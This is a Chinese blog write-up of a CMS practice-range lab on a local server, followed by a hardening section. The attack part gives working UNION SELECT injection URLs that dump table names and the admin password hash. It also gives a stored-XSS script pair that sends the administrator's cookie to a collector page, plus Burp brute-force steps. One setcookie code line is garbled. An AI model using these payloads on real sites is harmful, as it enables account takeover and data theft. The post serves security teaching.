大数据技术之数据安全与网络安全——CMS靶场(文章管理系统)实训
在当今数字化时代,大数据技术的迅猛发展带来了前所未有的数据增长,同时也催生了对数据安全和网络安全的更为迫切的需求。本篇博客将聚焦于大数据技术背景下的数据安全与网络安全,并通过CMS(文章管理系统)靶场实训,深入探讨相应的解决方案与应对策略。
数据与网络安全作为保障大数据系统正常运行的基石,同样备受关注。今天写博客时候发现自己很久没更新数据安全与网络安全方面的内容了,于是花了点时间写一篇CMS靶场实训博客。本文通过CMS靶场实训,深入分析CMS系统的安全漏洞,探讨防范措施,提供实战经验和攻防能力,有助于加强大数据与网络安全意识。
一、实训项目要求
- 环境部署,正确部署CMS网站并运行。
- 通过工具,列出CMS网站的文件目录结构。
- 搜集CMS网站的各项信息.
- 通过工具或代码审计,详细列出CMS 网站的漏洞缺陷。
- 给出CMS网站的加固方案。
二、环境
- 系统环境:Windows10
- IP:192.168.95.200(根据实际情况)
- 虚拟机可联网
过程与分析
1.环境部署,正确部署CMS网站并运行。
Phpstudy版本为2016版本,解压缩文件并下载安装
安装成功并启动Apache和MySQL服务
打开phpstudy文件目录找到www文件夹
解压缩CMS靶场环境文件到www目录下
打开C:\phpStudy\WWW\cms\include路径下的database.inc文件,编辑该文件并修改数据库密码为root,然后ctrl+s保存
修改完文件后,重启phpStudy更新配置文件信息。
重启phpStudy后打开浏览器,输入127.0.0.1看到phpMyAdmin目录,进入该网页。
输入账号和密码,都是root
进入数据库后点击导入,将sql文件导入数据库
成功将CMS导入数据库
浏览器输入127.0.0.1/cms成功部署CMS网站
点开留言板也是可以正常运行
这样就正确部署CMS网站并能够运行。
2.通过工具,列出CMS网站的文件目录结构。
AWVS安全扫描操作方法
点击File –> New –> Web Site Scan;or工具栏上的“New Scan”打开创建页面,如下图:
开始扫描127.0.0.1/cms/admin/login.php
3.搜集CMS网站的各项信息.
我们在主页随便点击两条新闻进行对比发现上面除了url中?id=33,?id=32之外没有任何区别。
通过上面信息我们发现,更改id参数网站会自动跳转页面。
我们试试在后面输入?id=33 order by 999 --+
http://127.0.0.1/cms/show.php?id=33 order by 999 --+
出现报错Unknown column '999' in 'order clause'
我们可以知道,该网页存在sql数值型注入。
在主页使用搜索功能,可以看到使用的是 GET 方法传参,用于搜索的参数是 keywords 和 button。
直接向 keywords 传递参数“”,由于参数被传递进入后会被直接执行,所以可以看到我们注入的脚本执行成功。
在keywords后面加入
发现我们的参数能够被执行,判断这里存在反射型 XSS漏洞。
我们在留言板留言,输入
<script>alart(/xss/)</script>
登陆后台出现弹窗验证
由这里信息我们可以知道该网站存在存储型xss漏洞。
4.通过工具或代码审计,详细列出CMS 网站的漏洞缺陷。
注入点判断
?id=32' 也可以用?id=32 order by 999- --+
判断是字符型还是数字型
试试加个单引号
加了单引号后有明显报错,根据报错判断存在数字型注入(如果报错里面有数字,就是字符型,如果没有,就是数字型)
判断是否有布尔类型状态
and1=1(真) and1=2(假)
试试http://127.0.0.1/cms/show.php?id=32 and 1=1
试试
http://127.0.0.1/cms/show.php?id=32 and 1=2
两次页面相同,一般认为没有布尔类型状态,不同代表有布尔类型状态
我们使用 order by 函数进行判断,因为我们要使用联合查询,并且在 ?id=32前面有一条select查询语句,要使用联合查询的话需要判断前面语句有多少列
我们随便试试order by 10看看,发现页面没有反应
再试试http://127.0.0.1/cms/show.php?id=32%20order%20by%2020
发现报错
Unknown column ‘20’ in ‘order clause’
那可能就是在10-20之间,我们在10-20之间一个一个试试。
我们继续验证发现他有15个列
点击执行发现页面正常,因为我们不知道表名,但是根据mysql数据库特性,select语句在执行过程中并不需要指定表名。
因为页面显示的是第一章表的内容,那我们可以考虑让第一张虚拟表的查询条件为假,显示第二条记录从而构造sql语句
我们已经知道有15个列表我们试试select语句,并用–+将后面语句注释掉。
127.0.0.1/cms/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
使用and 1=2或-32,我们发现页面回显3,11两个数字,我们就可以把这两个数字用函数替换掉
将3替换成version()函数函数,11替换成database().
127.0.0.1/cms/show.php/?id=-32 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+
这样就已经可以证明存在sql注入漏洞了
为了拿到后台管理员的账密
我们把databases()换成hex(group_concat(table_name))就得到了十六进制
在SQL注入攻击中,负数ID常被用于欺骗程序,从而触发漏洞。攻击者可能会通过设置参数值为负数来实现对 WHERE 子句的修改,以便将恶意的查询语句拼接到原始 SQL 语句的末尾。
我们可以这样输入:
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
information_schema
是一个MySQL数据库中的系统数据库,它包含了关于MySQL服务器中所有数据库、表、列、索引、用户等对象的元数据信息。
它是一个只读的数据字典,其内部存储的信息可以通过SQL查询来获取,包括各类数据库对象的名称、类型、大小、权限、注释等详细信息。因此,使用 information_schema
数据库可以方便地查询和管理所有数据库对象的元数据信息
information_schema.TABLES
:包含所有表的信息,如表名、表类型、表引擎、表创建时间等。
得到16进制的编码
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
我们用解码工具去还原十六进制
得到cms表名
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page, cms_users
我们试试查询数据库中的cms_users表:
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database() and table_name=cms_users
发现不行,试试在cms_user加个单引号
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10, hex(group_concat(column_name)),12,13,14,15 from information_schema.columns s where table_schema=database() and table_name= 'cms_users'
其中hex(group_concat(column_name)) 是一个 SQL 查询语句,用于计算一个字符串列中所有字符的十六进制编码值。具体来说,它会将该列中的所有字符串连接起来,然后使用 group_concat 函数将它们合并成一个单一的字符串。接着,使用 hex 函数将这个字符串转换为十六进制编码值。information_schema.COLUMNS
:包含所有表列的信息,如列名、列数据类型、列是否为 NULL 等。
这样就可以得到:
7573657269642C757365726E616D652C70617373776F7264
该SQL注入语句的目的是通过获取 cms_users
表的名称和当前数据库的版本号来获取有关 cms
数据库的信息
将得到的数字放到网页解码工具进行解码
userid,username,password
就得到了三个字段的内容,我们根据顺序查询username和password就可以
我们直接查表,用从concat函数,在 ASCII 编码中,0x3a 是一个十六进制值,对应于 ASCII 字符 “:”。因此,当将 0x3a 作为字符串参数传递给 SQL 函数时,它会被解释为 “:” 字符。
127.0.0.1/cms/show.php?id=-32 union select 1,2,version(),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users
我们就得到了账号和加密后的密码
admin:e10adc3949ba59abbe56e057f20f883e
密码是用密文的形式保存在数据库中,观察密文得知是md5加密,我们可以用md5在线解密破解,md5解密加密来进行解密,可以忽略加密类型。
得到了管理员账号和密码
账号:admin
密码:123456
我们尝试看能不能登录
最终也可以成功登入后台:
XSS注入
反射型 XSS
cms文章管理系统的留言板存在xss漏洞,我们通过构造代码进行注入
我们先试试输入留言
留言成功,我们登录后台查看留言情况。
发现触发xss弹窗并且留言成功
查看网页源码后发现我们构造的payload已经成功被嵌入解析。
获取管理员的cookie
获取CMS后台管理员的cookie,经过前面的测试我们知道在该CMS文章系统前台的留言板存在xss漏洞,因此我们可以通过存储型的xss注入,利用JavaScript获取cookie再传送到我们自己的网站底下。
我们先写好相应的脚本文件:
getcookie.js:
function getcookie(){
var url="http://127.0.0.1/cms/getcookie.php";
var data = "cookie="+document.cookie;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST",url);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
//content-type:表名内容类型,决定浏览器以什么形式进行编码读取这个文件。
//application/x-www-form-urlencoded:最常见的POST提交数据的方式
xmlhttp.send(data);
}
getcookie();
getcookie.php:
<?php
$cookie=@$_POST['cookie'];
file_put_contents("cookie.txt", $cookie."\n",FILE_APPEND);
?>
在CMS文章系统的留言板注入代码:
<script src="http://127.0.0.1/cms/getcookie.js"></script>
然后我们模拟管理员在后台审核留言板的内容,触发xss攻击:
最终拿到管理员的cookie:
这样我们获得了CMS文章管理系统后台管理员的cookie。
使用burpsuite抓包进行爆破
进入客户机的控制台。
打开浏览器登录页面,浏览器跳转到正常登入界面。浏览器网址是http://127.0.0.1/cms/index.php
打开Burp Suite。
在浏览器网络代理设置HTTP代理为127.0.0.1,端口号为8080,【确定】保存。
抓包之前先解决中文乱码问题,设置为宋体
启动burpsuite进行抓包。
设置代理
然后在浏览器的登录界面随便输入一个用户名admin,随意输入密码,点击“登录”,BurpSuite就会自动抓取页面向服务器发送的数据包。
浏览器网址是
在抓取的包内容界面,右击将选择“Send to Intruder”,将包内容发送至Intruder界面。
进入Intruder界面。Target小界面的内容不用更改。
转到Positions小界面,选择“Clear §”,将默认选中要破解的内容去掉。然后选中账号§admin§和密码“123”,点击“Add §”添加破解内容。选择“Cluster bomb”。
转到Payloads小界面添加数据字典。如果是破解多个参数,则“Payload set”这里可以点击选择“1”、“2”等,进行切换添加数据字典。
在payload set 1这里设置第一个要爆破的参数,在“Add”后,往字典中添加一些常见的账号比如admin、test、root等等。
添加账号、密码字典后,点击 Start attack,开始爆破。
爆破完成之后,会发现最终爆破的结果, 我们通过Length不同返回结果对比找到了可以成功登录的账号和密码。
登录验证一下发现账号 密码为
admin 123456
还有Admin 123456
验证一下
最后发现通过burpsuite爆破出来的账号和密码都可以成功登录后台。
CMS网站的加固方案。
要避免数值型 SQL 注入,可以采取以下措施:
输入验证:在将用户输入传递到SQL查询之前,请确保对其进行验证和过滤。可以使用 PHP 中的 is_numeric() 函数检查输入是否为数字。 is_numeric() 是 PHP 中的一个内置函数,它用于检查给定的变量是否是数字或数字字符串。如果变量是数字或数字字符串,则返回 true。否则,返回 false
在SQL注入攻击中,参数化查询是一种有效的防御措施。它可以将用户输入的数据作为参数传递给SQL查询语句,从而避免恶意代码注入。以下是一些关于如何进行参数化查询的常见方法:
1.使用预编译语句:预编译语句是一种将SQL查询语句和参数绑定在一起的方式。使用预编译语句可以确保用户输入的数据不会被解析为SQL命令。例如,可以使用PDO或mysqli_prepare函数来执行预编译语句。
2.使用占位符:占位符是一种用于代替实际参数值的特殊字符。在SQL查询语句中使用占位符可以防止恶意代码注入。例如,可以使用?来代替实际参数值。
3.过滤用户输入:在接收用户输入时,应该对其进行过滤和验证,以确保其符合预期格式。例如,只允许输入数字和小数点,不允许输入特殊字符等。
4.避免使用动态SQL语句:动态SQL语句是指在运行时生成的SQL查询语句。使用动态SQL语句容易受到SQL注入攻击。应该尽量避免使用动态SQL语句,或者使用参数化查询来替代。
最小化特权:使用最小化特权原则,即仅为执行所需操作的用户分配必要的权限。这样,即使攻击者成功注入 SQL 查询,他们也无法执行敏感操作或访问敏感数据。
1.只授予必要的权限:在创建数据库用户和授权时,只授予其完成任务所需的最小权限。例如,只允许数据库用户读取和写入数据,而不允许其执行其他操作。
2.避免使用超级管理员账户:超级管理员账户具有最高的权限,因此应该避免使用。如果必须使用超级管理员账户,应该对其进行严格的限制和监控。
3.禁用不必要的功能:在应用程序中禁用不必要的功能和服务,以减少攻击者利用漏洞的可能性。例如,禁用远程访问数据库的功能。
4.定期更新和修补软件:及时更新和修补软件可以修复已知的漏洞和安全问题,从而提高应用程序的安全性。
XSS漏洞防范
对于应对xss攻击,可以使用 PHP 中的一些内置函数来过滤和验证用户输入。下面是其中一些常用的函数:
- strip_tags():从字符串中删除 HTML 和 PHP 标记。这个函数可以帮助防止 XSS 攻击。
- htmlentities():将特殊字符转换为 HTML 实体。例如,将 “<” 转换为 “<”。这个函数也可以帮助防止 XSS 攻击。
- addslashes():在字符串中添加反斜杠以转义特殊字符。这个函数可以帮助防止 SQL 注入攻击。
- intval() 或 floatval():将字符串转换为整数或浮点数类型。这个函数可以帮助确保接受数字格式的输入,并避免类型错误。
- filter_var():使用指定的过滤器过滤变量。例如可以使用 FILTER_VALIDATE_EMAIL 过滤器来验证电子邮件地址。
6.使用 PHP 内置函数 mysqli_real_escape_string() 或 PDO::quote() 等函数对用户输入进行转义,以避免特殊字符被错误解释。
XSS的威力主要是取决于JavaScript能够实现的程度,XSS跨站脚本的形成原因是对输入输出没有严格过滤,导致在页面上可以执行JavaScript等客户端代码,我们只要将敏感字符过滤,就可以修复XSS跨站漏洞。
修复和防范方法:
1.在cookie中设置了HttpOnly属性,那么通过JavaScript脚本将无法读取到cookie信息,这样能一定程度上防止XSS攻击。
例如原网站cookie设置安全性较低并且该cookie在用户的浏览器中保持长时间,即使用户已经退出网站或关闭了浏览器也是如此。如果攻击者能够访问用户计算机或使用同一计算机的其他人,则可以利用该cookie访问受保护的页面。
修改setcookie函数并添加ttpOnly属性并修改cookie保存时间:
setcookie(‘username’,
u
s
e
r
n
a
m
e
,
t
i
m
e
(
)
+
86400
∗
7
,
′
/
′
,
′
′
,
f
a
l
s
e
,
t
r
u
e
)
;
i
f
(
e
m
p
t
y
(
username, time()+86400 * 7, '/', '', false, true); if (empty(
username,time()+86400∗7,′/′,′′,false,true);if(empty(username) || empty($password)){
exit(“”);
}
这里设置setcookie()函数的第6个参数(secure)留空,以便允许使用非加密协议(如HTTP)。第7个参数(HttpOnly)设置为true,以确保该cookie仅通过HTTP头传递给服务器,并且无法通过JavaScript等客户端脚本读取到该cookie的值。
2.假定所有输入都是可疑的,必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的cookie中的变量,HTTP请求头部中的变量等。
3.不仅验证数据的类型,还要验证其格式、长度、范围和内容
4.过滤“<” 、“>” 将用户输入放入引号间,基本实现数据与代码隔离;过滤双引号防止用户跨越许可的标记,添加自定义标记;过滤TAB和空格,防止关键字被拆分;过滤script关键字;过滤&#,防止HTML属性绕过检查。在客户端和服务器端同时做数据的验证与过滤。
5.对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要安全检查。
例如对用户登录验证进行加固
通过使用 PHP 内置的过滤器函数 filter_input() 进行验证和过滤,并使用参数化查询或预处理语句来执行 SQL 查询,可以加强代码的安全性。在原来代码中,使用 setcookie() 函数将用户名和用户 ID 存储在 cookie 中。可以通过改写代码使用会话机制等更安全的方式来存储和传递这些信息。这样就保证了一些敏感信息不易被窃取。
在密码加密方面,通过PHP 内置的 password_hash() 和 password_verify() 函数可以在不需要额外编写代码的情况下,快速、轻松地对密码进行安全加密和验证。
加固之后的代码:
// 验证和过滤用户输入的数据
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);
if (empty($username) || empty($password)) {
exit("<script>alert('用户名或密码不能为空!');window.history.go(-1)</script>");
}
// 使用参数化查询执行 SQL 查询
$stmt = $db->prepare("SELECT userid, password FROM cms_users WHERE username = ?");
$stmt->execute([$username]);
$user_row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!empty($user_row) && password_verify($password, $user_row['password'])) {
// 不存储敏感信息到 cookie,而是使用会话机制等更安全的方式来存储和传递数据
$_SESSION['userid'] = $user_row['userid'];
header("Location: index.php");
} else {
exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>");
将原来的 md5() 加密替换为 password_hash() 函数来使用 bcrypt 算法进行密码加密。同时,还使用了 password_verify() 函数来验证用户提交的密码是否和数据库中存储的密码匹配。加强了安全防御。
对于网站的存在弱口令被burpsuite爆破,可以采取下面措施。
1.在登录页面中添加验证码进行人机识别。这样可以有效地防止BurpSuite等工具进行自动化爆破。
2.强制要求使用更加复杂的密码,包括数字、字母和特殊字符混合,比如aDkaSda123*.、ssfGkjh8g*.1、这种复杂密码必要时候限制尝试登录次数。
3.在响应头中添加Cache-Control或Pragma指令以禁用浏览器缓存,从而保护敏感数据不会被缓存到本地计算机。
4.使用SSL / TLS加密所有传输的数据以防止BurpSuite拦截和读取提交的数据。例如,将协议从HTTP更改为HTTPS。
5.监视服务器日志以检测和阻止意外的登录尝试。如果发现被攻击爆破等异常行为,可以立即采取预防措施。
OK,通过本文cms靶场的实训学习,希望有助于各位掌握恶意代码攻击的基本原理和相关操作,针对一些漏洞的加固方案,能提高大家的安全意识和实操水平。
后面会持续更新更多优质内容,感谢各位的喜欢与支持!